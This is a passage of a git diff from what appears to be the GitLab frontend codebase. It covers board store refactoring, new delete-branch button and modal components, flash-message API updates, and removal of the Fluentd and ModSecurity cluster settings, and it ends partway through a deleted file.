- mutation: issueSetMilestoneMutation,
- variables: {
- input: {
- iid: String(activeBoardItem.iid),
- milestoneId: getIdFromGraphQLId(input.milestoneId),
- projectPath: input.projectPath,
- },
- },
- });
-
- if (data.updateIssue.errors?.length > 0) {
- throw new Error(data.updateIssue.errors);
- }
-
- commit(types.UPDATE_BOARD_ITEM_BY_ID, {
- itemId: activeBoardItem.id,
- prop: 'milestone',
- value: data.updateIssue.issue.milestone,
+ addListItem: ({ commit }, { list, item, position, inProgress = false }) => {
+ commit(types.ADD_BOARD_ITEM_TO_LIST, {
+ listId: list.id,
+ itemId: item.id,
+ atIndex: position,
+ inProgress,
});
- },
-
- addListItem: ({ commit }, { list, item, position }) => {
- commit(types.ADD_BOARD_ITEM_TO_LIST, { listId: list.id, itemId: item.id, atIndex: position });
commit(types.UPDATE_BOARD_ITEM, item);
},
@@ -509,8 +502,8 @@ export default {
input.projectPath = fullPath;
}
- const placeholderIssue = formatIssue({ ...issueInput, id: placeholderId });
- dispatch('addListItem', { list, item: placeholderIssue, position: 0 });
+ const placeholderIssue = formatIssue({ ...issueInput, id: placeholderId, isLoading: true });
+ dispatch('addListItem', { list, item: placeholderIssue, position: 0, inProgress: true });
gqlClient
.mutate({
@@ -565,30 +558,6 @@ export default {
});
},
- setActiveIssueDueDate: async ({ commit, getters }, input) => {
- const { activeBoardItem } = getters;
- const { data } = await gqlClient.mutate({
- mutation: issueSetDueDateMutation,
- variables: {
- input: {
- iid: String(activeBoardItem.iid),
- projectPath: input.projectPath,
- dueDate: input.dueDate,
- },
- },
- });
-
- if (data.updateIssue?.errors?.length > 0) {
- throw new Error(data.updateIssue.errors);
- }
-
- commit(types.UPDATE_BOARD_ITEM_BY_ID, {
- itemId: activeBoardItem.id,
- prop: 'dueDate',
- value: data.updateIssue.issue.dueDate,
- });
- },
-
setActiveItemSubscribed: async ({ commit, getters, state }, input) => {
const { activeBoardItem, isEpicBoard } = getters;
const { fullPath, issuableType } = state;
@@ -721,7 +690,7 @@ export default {
}
},
- setError: ({ commit }, { message, error, captureError = false }) => {
+ setError: ({ commit }, { message, error, captureError = true }) => {
commit(types.SET_ERROR, message);
if (captureError) {
diff --git a/app/assets/javascripts/boards/stores/mutation_types.js b/app/assets/javascripts/boards/stores/mutation_types.js
index ccea2917c2c..38c54bc8c5d 100644
--- a/app/assets/javascripts/boards/stores/mutation_types.js
+++ b/app/assets/javascripts/boards/stores/mutation_types.js
@@ -15,6 +15,7 @@ export const UPDATE_LIST_FAILURE = 'UPDATE_LIST_FAILURE';
export const TOGGLE_LIST_COLLAPSED = 'TOGGLE_LIST_COLLAPSED';
export const REMOVE_LIST = 'REMOVE_LIST';
export const REMOVE_LIST_FAILURE = 'REMOVE_LIST_FAILURE';
+export const RESET_ITEMS_FOR_LIST = 'RESET_ITEMS_FOR_LIST';
export const REQUEST_ITEMS_FOR_LIST = 'REQUEST_ITEMS_FOR_LIST';
export const RECEIVE_ITEMS_FOR_LIST_FAILURE = 'RECEIVE_ITEMS_FOR_LIST_FAILURE';
export const RECEIVE_ITEMS_FOR_LIST_SUCCESS = 'RECEIVE_ITEMS_FOR_LIST_SUCCESS';
diff --git a/app/assets/javascripts/boards/stores/mutations.js b/app/assets/javascripts/boards/stores/mutations.js
index 667628b2998..6cd0a62657e 100644
--- a/app/assets/javascripts/boards/stores/mutations.js
+++ b/app/assets/javascripts/boards/stores/mutations.js
@@ -117,6 +117,11 @@ export default {
state.boardLists = listsBackup;
},
+ [mutationTypes.RESET_ITEMS_FOR_LIST]: (state, listId) => {
+ Vue.set(state, 'backupItemsList', state.boardItemsByListId[listId]);
+ Vue.set(state.boardItemsByListId, listId, []);
+ },
+
[mutationTypes.REQUEST_ITEMS_FOR_LIST]: (state, { listId, fetchNext }) => {
Vue.set(state.listsFlags, listId, { [fetchNext ? 'isLoadingMore' : 'isLoading']: true });
},
@@ -138,6 +143,7 @@ export default {
'Boards|An error occurred while fetching the board issues. Please reload the page.',
);
Vue.set(state.listsFlags, listId, { isLoading: false, isLoadingMore: false });
+ Vue.set(state.boardItemsByListId, listId, state.backupItemsList);
},
[mutationTypes.RESET_ISSUES]: (state) => {
@@ -166,8 +172,9 @@ export default {
[mutationTypes.ADD_BOARD_ITEM_TO_LIST]: (
state,
- { itemId, listId, moveBeforeId, moveAfterId, atIndex },
+ { itemId, listId, moveBeforeId, moveAfterId, atIndex, inProgress = false },
) => {
+ Vue.set(state.listsFlags, listId, { ...state.listsFlags, addItemToListInProgress: inProgress });
addItemToList({ state, listId, itemId, moveBeforeId, moveAfterId, atIndex });
},
diff --git a/app/assets/javascripts/boards/stores/state.js b/app/assets/javascripts/boards/stores/state.js
index 19ba2a5df83..7be5ae8b583 100644
--- a/app/assets/javascripts/boards/stores/state.js
+++ b/app/assets/javascripts/boards/stores/state.js
@@ -11,6 +11,7 @@ export default () => ({
boardLists: {},
listsFlags: {},
boardItemsByListId: {},
+ backupItemsList: [],
isSettingAssignees: false,
pageInfoByListId: {},
boardItems: {},
diff --git a/app/assets/javascripts/branches/components/delete_branch_button.vue b/app/assets/javascripts/branches/components/delete_branch_button.vue
new file mode 100644
index 00000000000..5a5f49e25e7
--- /dev/null
+++ b/app/assets/javascripts/branches/components/delete_branch_button.vue
@@ -0,0 +1,91 @@
+<script>
+import { GlButton, GlTooltipDirective } from '@gitlab/ui';
+import { s__ } from '~/locale';
+import eventHub from '../event_hub';
+
+export default {
+ name: 'DeleteBranchButton',
+ components: { GlButton },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ branchName: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ defaultBranchName: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ deletePath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ tooltip: {
+ type: String,
+ required: false,
+ default: s__('Branches|Delete branch'),
+ },
+ disabled: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ isProtectedBranch: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ merged: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ computed: {
+ variant() {
+ if (this.disabled) {
+ return 'default';
+ }
+ return 'danger';
+ },
+ title() {
+ if (this.isProtectedBranch && this.disabled) {
+ return s__('Branches|Only a project maintainer or owner can delete a protected branch');
+ } else if (this.isProtectedBranch) {
+ return s__('Branches|Delete protected branch');
+ }
+ return this.tooltip;
+ },
+ },
+ methods: {
+ openModal() {
+ eventHub.$emit('openModal', {
+ branchName: this.branchName,
+ defaultBranchName: this.defaultBranchName,
+ deletePath: this.deletePath,
+ isProtectedBranch: this.isProtectedBranch,
+ merged: this.merged,
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-button
+ v-gl-tooltip.hover
+ icon="remove"
+ class="js-delete-branch-button"
+ data-qa-selector="delete_branch_button"
+ :disabled="disabled"
+ :variant="variant"
+ :title="title"
+ :aria-label="title"
+ @click="openModal"
+ />
+</template>
diff --git a/app/assets/javascripts/branches/components/delete_branch_modal.vue b/app/assets/javascripts/branches/components/delete_branch_modal.vue
new file mode 100644
index 00000000000..14c2badeb3f
--- /dev/null
+++ b/app/assets/javascripts/branches/components/delete_branch_modal.vue
@@ -0,0 +1,193 @@
+<script>
+import { GlButton, GlFormInput, GlModal, GlSprintf, GlAlert } from '@gitlab/ui';
+import csrf from '~/lib/utils/csrf';
+import { sprintf, s__ } from '~/locale';
+import eventHub from '../event_hub';
+
+export default {
+ csrf,
+ components: {
+ GlModal,
+ GlButton,
+ GlFormInput,
+ GlSprintf,
+ GlAlert,
+ },
+ data() {
+ return {
+ isProtectedBranch: false,
+ branchName: '',
+ defaultBranchName: '',
+ deletePath: '',
+ merged: false,
+ enteredBranchName: '',
+ modalId: 'delete-branch-modal',
+ };
+ },
+ computed: {
+ title() {
+ const modalTitle = this.isProtectedBranch
+ ? this.$options.i18n.modalTitleProtectedBranch
+ : this.$options.i18n.modalTitle;
+
+ return sprintf(modalTitle, { branchName: this.branchName });
+ },
+ message() {
+ const modalMessage = this.isProtectedBranch
+ ? this.$options.i18n.modalMessageProtectedBranch
+ : this.$options.i18n.modalMessage;
+
+ return sprintf(modalMessage, { branchName: this.branchName });
+ },
+ unmergedWarning() {
+ return sprintf(this.$options.i18n.unmergedWarning, {
+ defaultBranchName: this.defaultBranchName,
+ });
+ },
+ undoneWarning() {
+ return sprintf(this.$options.i18n.undoneWarning, {
+ buttonText: this.buttonText,
+ });
+ },
+ confirmationText() {
+ return sprintf(this.$options.i18n.confirmationText, {
+ branchName: this.branchName,
+ });
+ },
+ buttonText() {
+ return this.isProtectedBranch
+ ? this.$options.i18n.deleteButtonTextProtectedBranch
+ : this.$options.i18n.deleteButtonText;
+ },
+ branchNameConfirmed() {
+ return this.enteredBranchName === this.branchName;
+ },
+ deleteButtonDisabled() {
+ return this.isProtectedBranch && !this.branchNameConfirmed;
+ },
+ },
+ mounted() {
+ eventHub.$on('openModal', this.openModal);
+ },
+ destroyed() {
+ eventHub.$off('openModal', this.openModal);
+ },
+ methods: {
+ openModal({ isProtectedBranch, branchName, defaultBranchName, deletePath, merged }) {
+ this.isProtectedBranch = isProtectedBranch;
+ this.branchName = branchName;
+ this.defaultBranchName = defaultBranchName;
+ this.deletePath = deletePath;
+ this.merged = merged;
+
+ this.$refs.modal.show();
+ },
+ submitForm() {
+ this.$refs.form.submit();
+ },
+ closeModal() {
+ this.$refs.modal.hide();
+ },
+ },
+ i18n: {
+ modalTitle: s__('Branches|Delete branch. Are you ABSOLUTELY SURE?'),
+ modalTitleProtectedBranch: s__('Branches|Delete protected branch. Are you ABSOLUTELY SURE?'),
+ modalMessage: s__(
+ "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}",
+ ),
+ modalMessageProtectedBranch: s__(
+ "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}",
+ ),
+ unmergedWarning: s__(
+ 'Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it.',
+ ),
+ undoneWarning: s__(
+ 'Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered.',
+ ),
+ cancelButtonText: s__('Branches|Cancel, keep branch'),
+ confirmationText: s__(
+ 'Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?',
+ ),
+ confirmationTextProtectedBranch: s__('Branches|Please type the following to confirm:'),
+ deleteButtonText: s__('Branches|Yes, delete branch'),
+ deleteButtonTextProtectedBranch: s__('Branches|Yes, delete protected branch'),
+ },
+};
+</script>
+
+<template>
+ <gl-modal ref="modal" size="sm" :modal-id="modalId" :title="title">
+ <gl-alert class="gl-mb-5" variant="danger" :dismissible="false">
+ <div data-testid="modal-message">
+ <gl-sprintf :message="message">
+ <template #strong="{ content }">
+ <strong> {{ content }} </strong>
+ </template>
+ </gl-sprintf>
+ <p v-if="!merged" class="gl-mb-0 gl-mt-4">
+ {{ unmergedWarning }}
+ </p>
+ </div>
+ </gl-alert>
+
+ <form ref="form" :action="deletePath" method="post">
+ <div v-if="isProtectedBranch" class="gl-mt-4">
+ <p>
+ <gl-sprintf :message="undoneWarning">
+ <template #strong="{ content }">
+ <strong> {{ content }} </strong>
+ </template>
+ </gl-sprintf>
+ </p>
+ <p>
+ <gl-sprintf :message="$options.i18n.confirmationTextProtectedBranch">
+ <template #strong="{ content }">
+ {{ content }}
+ </template>
+ </gl-sprintf>
+ <code class="gl-white-space-pre-wrap"> {{ branchName }} </code>
+ <gl-form-input
+ v-model="enteredBranchName"
+ name="delete_branch_input"
+ type="text"
+ class="gl-mt-4"
+ aria-labelledby="input-label"
+ autocomplete="off"
+ />
+ </p>
+ </div>
+ <div v-else>
+ <p class="gl-mt-4">
+ <gl-sprintf :message="confirmationText">
+ <template #strong="{ content }">
+ <strong>
+ {{ content }}
+ </strong>
+ </template>
+ </gl-sprintf>
+ </p>
+ </div>
+
+ <input ref="method" type="hidden" name="_method" value="delete" />
+ <input :value="$options.csrf.token" type="hidden" name="authenticity_token" />
+ </form>
+
+ <template #modal-footer>
+ <div class="gl-display-flex gl-flex-direction-row gl-justify-content-end gl-flex-wrap gl-m-0">
+ <gl-button data-testid="delete-branch-cancel-button" @click="closeModal">
+ {{ $options.i18n.cancelButtonText }}
+ </gl-button>
+ <div class="gl-mr-3"></div>
+ <gl-button
+ ref="deleteBranchButton"
+ :disabled="deleteButtonDisabled"
+ variant="danger"
+ data-qa-selector="delete_branch_confirmation_button"
+ data-testid="delete-branch-confirmation-button"
+ @click="submitForm"
+ >{{ buttonText }}</gl-button
+ >
+ </div>
+ </template>
+ </gl-modal>
+</template>
diff --git a/app/assets/javascripts/branches/components/sort_dropdown.vue b/app/assets/javascripts/branches/components/sort_dropdown.vue
index ddb4c5c0015..5f782b5e652 100644
--- a/app/assets/javascripts/branches/components/sort_dropdown.vue
+++ b/app/assets/javascripts/branches/components/sort_dropdown.vue
@@ -62,17 +62,18 @@ export default {
};
</script>
<template>
- <div class="gl-display-flex gl-pr-4">
+ <div class="gl-display-flex">
<gl-search-box-by-click
v-model="searchTerm"
:placeholder="$options.i18n.searchPlaceholder"
- class="gl-pr-4"
+ class="gl-mr-3"
data-testid="branch-search"
@submit="visitUrlFromOption(selectedKey)"
/>
<gl-dropdown
v-if="shouldShowDropdown"
:text="selectedSortMethodName"
+ class="gl-mr-3"
data-testid="branches-dropdown"
>
<gl-dropdown-item
diff --git a/app/assets/javascripts/branches/divergence_graph.js b/app/assets/javascripts/branches/divergence_graph.js
index 66e8d982113..b88c056b00f 100644
--- a/app/assets/javascripts/branches/divergence_graph.js
+++ b/app/assets/javascripts/branches/divergence_graph.js
@@ -1,5 +1,5 @@
import Vue from 'vue';
-import { deprecatedCreateFlash as createFlash } from '../flash';
+import createFlash from '../flash';
import axios from '../lib/utils/axios_utils';
import { __ } from '../locale';
import DivergenceGraph from './components/divergence_graph.vue';
@@ -51,6 +51,8 @@ export default (endpoint, defaultBranch) => {
});
})
.catch(() =>
- createFlash(__('Error fetching diverging counts for branches. Please try again.')),
+ createFlash({
+ message: __('Error fetching diverging counts for branches. Please try again.'),
+ }),
);
};
diff --git a/app/assets/javascripts/branches/event_hub.js b/app/assets/javascripts/branches/event_hub.js
new file mode 100644
index 00000000000..e31806ad199
--- /dev/null
+++ b/app/assets/javascripts/branches/event_hub.js
@@ -0,0 +1,3 @@
+import createEventHub from '~/helpers/event_hub_factory';
+
+export default createEventHub();
diff --git a/app/assets/javascripts/branches/init_delete_branch_button.js b/app/assets/javascripts/branches/init_delete_branch_button.js
new file mode 100644
index 00000000000..43df5d993a4
--- /dev/null
+++ b/app/assets/javascripts/branches/init_delete_branch_button.js
@@ -0,0 +1,35 @@
+import Vue from 'vue';
+import DeleteBranchButton from '~/branches/components/delete_branch_button.vue';
+import { parseBoolean } from '~/lib/utils/common_utils';
+
+export default function initDeleteBranchButton(el) {
+ if (!el) {
+ return false;
+ }
+
+ const {
+ branchName,
+ defaultBranchName,
+ deletePath,
+ tooltip,
+ disabled,
+ isProtectedBranch,
+ merged,
+ } = el.dataset;
+
+ return new Vue({
+ el,
+ render: (createElement) =>
+ createElement(DeleteBranchButton, {
+ props: {
+ branchName,
+ defaultBranchName,
+ deletePath,
+ tooltip,
+ disabled: parseBoolean(disabled),
+ isProtectedBranch: parseBoolean(isProtectedBranch),
+ merged: parseBoolean(merged),
+ },
+ }),
+ });
+}
diff --git a/app/assets/javascripts/branches/init_delete_branch_modal.js b/app/assets/javascripts/branches/init_delete_branch_modal.js
new file mode 100644
index 00000000000..f3a95d03c5a
--- /dev/null
+++ b/app/assets/javascripts/branches/init_delete_branch_modal.js
@@ -0,0 +1,16 @@
+import Vue from 'vue';
+import DeleteBranchModal from '~/branches/components/delete_branch_modal.vue';
+
+export default function initDeleteBranchModal() {
+ const el = document.querySelector('.js-delete-branch-modal');
+ if (!el) {
+ return false;
+ }
+
+ return new Vue({
+ el,
+ render(createComponent) {
+ return createComponent(DeleteBranchModal);
+ },
+ });
+}
diff --git a/app/assets/javascripts/ci_settings_pipeline_triggers/components/triggers_list.vue b/app/assets/javascripts/ci_settings_pipeline_triggers/components/triggers_list.vue
index bc1e401d373..77ec1f1af47 100644
--- a/app/assets/javascripts/ci_settings_pipeline_triggers/components/triggers_list.vue
+++ b/app/assets/javascripts/ci_settings_pipeline_triggers/components/triggers_list.vue
@@ -93,7 +93,7 @@ export default {
placement="top"
class="trigger-description gl-display-flex"
>
- <div class="gl-flex-fill-1 gl-text-truncate">{{ item.description }}</div>
+ <div class="gl-flex-grow-1 gl-text-truncate">{{ item.description }}</div>
</tooltip-on-truncate>
</template>
<template #cell(owner)="{ item }">
diff --git a/app/assets/javascripts/ci_variable_list/store/actions.js b/app/assets/javascripts/ci_variable_list/store/actions.js
index 8569cecc6a7..8a182737e7b 100644
--- a/app/assets/javascripts/ci_variable_list/store/actions.js
+++ b/app/assets/javascripts/ci_variable_list/store/actions.js
@@ -1,5 +1,5 @@
import Api from '~/api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
import * as types from './mutation_types';
@@ -48,7 +48,9 @@ export const addVariable = ({ state, dispatch }) => {
dispatch('fetchVariables');
})
.catch((error) => {
- createFlash(error.response.data[0]);
+ createFlash({
+ message: error.response.data[0],
+ });
dispatch('receiveAddVariableError', error);
});
};
@@ -78,7 +80,9 @@ export const updateVariable = ({ state, dispatch }) => {
dispatch('fetchVariables');
})
.catch((error) => {
- createFlash(error.response.data[0]);
+ createFlash({
+ message: error.response.data[0],
+ });
dispatch('receiveUpdateVariableError', error);
});
};
@@ -105,7 +109,9 @@ export const fetchVariables = ({ dispatch, state }) => {
dispatch('receiveVariablesSuccess', prepareDataForDisplay(data.variables));
})
.catch(() => {
- createFlash(__('There was an error fetching the variables.'));
+ createFlash({
+ message: __('There was an error fetching the variables.'),
+ });
});
};
@@ -133,7 +139,9 @@ export const deleteVariable = ({ dispatch, state }) => {
dispatch('fetchVariables');
})
.catch((error) => {
- createFlash(error.response.data[0]);
+ createFlash({
+ message: error.response.data[0],
+ });
dispatch('receiveDeleteVariableError', error);
});
};
@@ -154,7 +162,9 @@ export const fetchEnvironments = ({ dispatch, state }) => {
dispatch('receiveEnvironmentsSuccess', prepareEnvironments(res.data));
})
.catch(() => {
- createFlash(__('There was an error fetching the environments information.'));
+ createFlash({
+ message: __('There was an error fetching the environments information.'),
+ });
});
};
diff --git a/app/assets/javascripts/clusters/clusters_bundle.js b/app/assets/javascripts/clusters/clusters_bundle.js
index 5cb3d913210..762b37a8216 100644
--- a/app/assets/javascripts/clusters/clusters_bundle.js
+++ b/app/assets/javascripts/clusters/clusters_bundle.js
@@ -11,7 +11,7 @@ import PersistentUserCallout from '../persistent_user_callout';
import initSettingsPanels from '../settings_panels';
import Applications from './components/applications.vue';
import RemoveClusterConfirmation from './components/remove_cluster_confirmation.vue';
-import { APPLICATION_STATUS, CROSSPLANE, KNATIVE, FLUENTD } from './constants';
+import { APPLICATION_STATUS, CROSSPLANE, KNATIVE } from './constants';
import eventHub from './event_hub';
import ClustersService from './services/clusters_service';
import ClustersStore from './stores/clusters_store';
@@ -42,7 +42,6 @@ export default class Clusters {
installElasticStackPath,
installCrossplanePath,
installPrometheusPath,
- installFluentdPath,
managePrometheusPath,
clusterEnvironmentsPath,
hasRbac,
@@ -55,7 +54,6 @@ export default class Clusters {
helmHelpPath,
ingressHelpPath,
ingressDnsHelpPath,
- ingressModSecurityHelpPath,
environmentsHelpPath,
clustersHelpPath,
deployBoardsHelpPath,
@@ -74,7 +72,6 @@ export default class Clusters {
helmHelpPath,
ingressHelpPath,
ingressDnsHelpPath,
- ingressModSecurityHelpPath,
environmentsHelpPath,
clustersHelpPath,
deployBoardsHelpPath,
@@ -100,7 +97,6 @@ export default class Clusters {
updateKnativeEndpoint: updateKnativePath,
installElasticStackEndpoint: installElasticStackPath,
clusterEnvironmentsEndpoint: clusterEnvironmentsPath,
- installFluentdEndpoint: installFluentdPath,
});
this.installApplication = this.installApplication.bind(this);
@@ -168,7 +164,6 @@ export default class Clusters {
ingressHelpPath: this.state.ingressHelpPath,
managePrometheusPath: this.state.managePrometheusPath,
ingressDnsHelpPath: this.state.ingressDnsHelpPath,
- ingressModSecurityHelpPath: this.state.ingressModSecurityHelpPath,
cloudRunHelpPath: this.state.cloudRunHelpPath,
providerType: this.state.providerType,
preInstalledKnative: this.state.preInstalledKnative,
@@ -253,10 +248,6 @@ export default class Clusters {
eventHub.$on('setKnativeDomain', (data) => this.setKnativeDomain(data));
eventHub.$on('uninstallApplication', (data) => this.uninstallApplication(data));
eventHub.$on('setCrossplaneProviderStack', (data) => this.setCrossplaneProviderStack(data));
- eventHub.$on('setIngressModSecurityEnabled', (data) => this.setIngressModSecurityEnabled(data));
- eventHub.$on('setIngressModSecurityMode', (data) => this.setIngressModSecurityMode(data));
- eventHub.$on('resetIngressModSecurityChanges', (id) => this.resetIngressModSecurityChanges(id));
- eventHub.$on('setFluentdSettings', (data) => this.setFluentdSettings(data));
// Add event listener to all the banner close buttons
this.addBannerCloseHandler(this.unreachableContainer, 'unreachable');
this.addBannerCloseHandler(this.authenticationFailureContainer, 'authentication_failure');
@@ -273,14 +264,6 @@ export default class Clusters {
eventHub.$off('setCrossplaneProviderStack');
// eslint-disable-next-line @gitlab/no-global-event-off
eventHub.$off('uninstallApplication');
- // eslint-disable-next-line @gitlab/no-global-event-off
- eventHub.$off('setIngressModSecurityEnabled');
- // eslint-disable-next-line @gitlab/no-global-event-off
- eventHub.$off('setIngressModSecurityMode');
- // eslint-disable-next-line @gitlab/no-global-event-off
- eventHub.$off('resetIngressModSecurityChanges');
- // eslint-disable-next-line @gitlab/no-global-event-off
- eventHub.$off('setFluentdSettings');
}
initPolling(method, successCallback, errorCallback) {
@@ -492,12 +475,6 @@ export default class Clusters {
});
}
- setFluentdSettings(settings = {}) {
- Object.entries(settings).forEach(([key, value]) => {
- this.store.updateAppProperty(FLUENTD, key, value);
- });
- }
-
saveKnativeDomain(data) {
const appId = data.id;
this.store.updateApplication(appId);
@@ -519,21 +496,6 @@ export default class Clusters {
this.store.updateAppProperty(appId, 'validationError', null);
}
- setIngressModSecurityEnabled({ id, modSecurityEnabled }) {
- this.store.updateAppProperty(id, 'isEditingModSecurityEnabled', true);
- this.store.updateAppProperty(id, 'modsecurity_enabled', modSecurityEnabled);
- }
-
- setIngressModSecurityMode({ id, modSecurityMode }) {
- this.store.updateAppProperty(id, 'isEditingModSecurityMode', true);
- this.store.updateAppProperty(id, 'modsecurity_mode', modSecurityMode);
- }
-
- resetIngressModSecurityChanges(id) {
- this.store.updateAppProperty(id, 'isEditingModSecurityEnabled', false);
- this.store.updateAppProperty(id, 'isEditingModSecurityMode', false);
- }
-
destroy() {
this.destroyed = true;
diff --git a/app/assets/javascripts/clusters/components/applications.vue b/app/assets/javascripts/clusters/components/applications.vue
index 8ef3169dc65..ddee1711975 100644
--- a/app/assets/javascripts/clusters/components/applications.vue
+++ b/app/assets/javascripts/clusters/components/applications.vue
@@ -3,7 +3,6 @@ import { GlLoadingIcon, GlSprintf, GlLink, GlAlert } from '@gitlab/ui';
import certManagerLogo from 'images/cluster_app_logos/cert_manager.png';
import crossplaneLogo from 'images/cluster_app_logos/crossplane.png';
import elasticStackLogo from 'images/cluster_app_logos/elastic_stack.png';
-import fluentdLogo from 'images/cluster_app_logos/fluentd.png';
import gitlabLogo from 'images/cluster_app_logos/gitlab.png';
import helmLogo from 'images/cluster_app_logos/helm.png';
import jupyterhubLogo from 'images/cluster_app_logos/jupyterhub.png';
@@ -15,8 +14,6 @@ import clipboardButton from '../../vue_shared/components/clipboard_button.vue';
import { CLUSTER_TYPE, PROVIDER_TYPE, APPLICATION_STATUS, INGRESS } from '../constants';
import applicationRow from './application_row.vue';
import CrossplaneProviderStack from './crossplane_provider_stack.vue';
-import FluentdOutputSettings from './fluentd_output_settings.vue';
-import IngressModsecuritySettings from './ingress_modsecurity_settings.vue';
import KnativeDomainEditor from './knative_domain_editor.vue';
export default {
@@ -28,8 +25,6 @@ export default {
GlLink,
KnativeDomainEditor,
CrossplaneProviderStack,
- IngressModsecuritySettings,
- FluentdOutputSettings,
GlAlert,
},
props: {
@@ -63,11 +58,7 @@ export default {
required: false,
default: '',
},
- ingressModSecurityHelpPath: {
- type: String,
- required: false,
- default: '',
- },
+
cloudRunHelpPath: {
type: String,
required: false,
@@ -165,7 +156,6 @@ export default {
knativeLogo,
prometheusLogo,
elasticStackLogo,
- fluentdLogo,
},
};
</script>
@@ -219,10 +209,6 @@ export default {
:request-reason="applications.ingress.requestReason"
:installed="applications.ingress.installed"
:install-failed="applications.ingress.installFailed"
- :install-application-request-params="{
- modsecurity_enabled: applications.ingress.modsecurity_enabled,
- modsecurity_mode: applications.ingress.modsecurity_mode,
- }"
:uninstallable="applications.ingress.uninstallable"
:uninstall-successful="applications.ingress.uninstallSuccessful"
:uninstall-failed="applications.ingress.uninstallFailed"
@@ -238,11 +224,6 @@ export default {
}}
</p>
- <ingress-modsecurity-settings
- :ingress="ingress"
- :ingress-mod-security-help-path="ingressModSecurityHelpPath"
- />
-
<template v-if="ingressInstalled">
<div class="form-group">
<label for="ingress-endpoint">{{ s__('ClusterIntegration|Ingress Endpoint') }}</label>
@@ -644,50 +625,6 @@ export default {
</template>
</application-row>
- <application-row
- id="fluentd"
- :logo-url="$options.logos.fluentdLogo"
- :title="applications.fluentd.title"
- :status="applications.fluentd.status"
- :status-reason="applications.fluentd.statusReason"
- :request-status="applications.fluentd.requestStatus"
- :request-reason="applications.fluentd.requestReason"
- :installed="applications.fluentd.installed"
- :install-failed="applications.fluentd.installFailed"
- :install-application-request-params="{
- host: applications.fluentd.host,
- port: applications.fluentd.port,
- protocol: applications.fluentd.protocol,
- waf_log_enabled: applications.fluentd.wafLogEnabled,
- cilium_log_enabled: applications.fluentd.ciliumLogEnabled,
- }"
- :uninstallable="applications.fluentd.uninstallable"
- :uninstall-successful="applications.fluentd.uninstallSuccessful"
- :uninstall-failed="applications.fluentd.uninstallFailed"
- :updateable="false"
- title-link="https://github.com/helm/charts/tree/master/stable/fluentd"
- >
- <template #description>
- <p>
- {{
- s__(
- `ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed.`,
- )
- }}
- </p>
-
- <fluentd-output-settings
- :port="applications.fluentd.port"
- :protocol="applications.fluentd.protocol"
- :host="applications.fluentd.host"
- :waf-log-enabled="applications.fluentd.wafLogEnabled"
- :cilium-log-enabled="applications.fluentd.ciliumLogEnabled"
- :status="applications.fluentd.status"
- :update-failed="applications.fluentd.updateFailed"
- />
- </template>
- </application-row>
-
<div class="gl-mt-7 gl-border-1 gl-border-t-solid gl-border-gray-100">
<!-- This empty div serves as a separator. The applications below can be externally installed using a cluster-management project. -->
</div>
diff --git a/app/assets/javascripts/clusters/components/fluentd_output_settings.vue b/app/assets/javascripts/clusters/components/fluentd_output_settings.vue
deleted file mode 100644
index aaad0009ef3..00000000000
--- a/app/assets/javascripts/clusters/components/fluentd_output_settings.vue
+++ /dev/null
@@ -1,238 +0,0 @@
-<script>
-import { GlAlert, GlButton, GlDropdown, GlDropdownItem, GlFormCheckbox } from '@gitlab/ui';
-import { mapValues } from 'lodash';
-import { APPLICATION_STATUS, FLUENTD } from '~/clusters/constants';
-import eventHub from '~/clusters/event_hub';
-import { __ } from '~/locale';
-
-const { UPDATING, UNINSTALLING, INSTALLING, INSTALLED, UPDATED } = APPLICATION_STATUS;
-
-export default {
- components: {
- GlAlert,
- GlButton,
- GlDropdown,
- GlDropdownItem,
- GlFormCheckbox,
- },
- props: {
- protocols: {
- type: Array,
- required: false,
- default: () => ['TCP', 'UDP'],
- },
- status: {
- type: String,
- required: false,
- default: '',
- },
- updateFailed: {
- type: Boolean,
- required: false,
- },
- protocol: {
- type: String,
- required: false,
- default: () => __('Protocol'),
- },
- port: {
- type: Number,
- required: false,
- default: 514,
- },
- host: {
- type: String,
- required: false,
- default: '',
- },
- wafLogEnabled: {
- type: Boolean,
- required: false,
- },
- ciliumLogEnabled: {
- type: Boolean,
- required: false,
- },
- },
- data() {
- return {
- currentServerSideSettings: {
- host: null,
- port: null,
- protocol: null,
- wafLogEnabled: null,
- ciliumLogEnabled: null,
- },
- };
- },
- computed: {
- isSaving() {
- return [UPDATING].includes(this.status);
- },
- saveButtonDisabled() {
- return [UNINSTALLING, UPDATING, INSTALLING].includes(this.status);
- },
- saveButtonLabel() {
- return this.isSaving ? __('Saving') : __('Save changes');
- },
- /**
- * Returns true either when:
- * - The application is getting updated.
- * - The user has changed some of the settings for an application which is
- * neither getting installed nor updated.
- */
- showButtons() {
- return this.isSaving || (this.changedByUser && [INSTALLED, UPDATED].includes(this.status));
- },
- protocolName() {
- if (this.protocol) {
- return this.protocol.toUpperCase();
- }
- return __('Protocol');
- },
- changedByUser() {
- return Object.entries(this.currentServerSideSettings).some(([key, value]) => {
- return value !== null && value !== this[key];
- });
- },
- },
- watch: {
- status() {
- this.resetCurrentServerSideSettings();
- },
- },
- methods: {
- updateApplication() {
- eventHub.$emit('updateApplication', {
- id: FLUENTD,
- params: {
- port: this.port,
- protocol: this.protocol,
- host: this.host,
- waf_log_enabled: this.wafLogEnabled,
- cilium_log_enabled: this.ciliumLogEnabled,
- },
- });
- },
- resetCurrentServerSideSettings() {
- this.currentServerSideSettings = mapValues(this.currentServerSideSettings, () => {
- return null;
- });
- },
- resetStatus() {
- const newSettings = mapValues(this.currentServerSideSettings, (value, key) => {
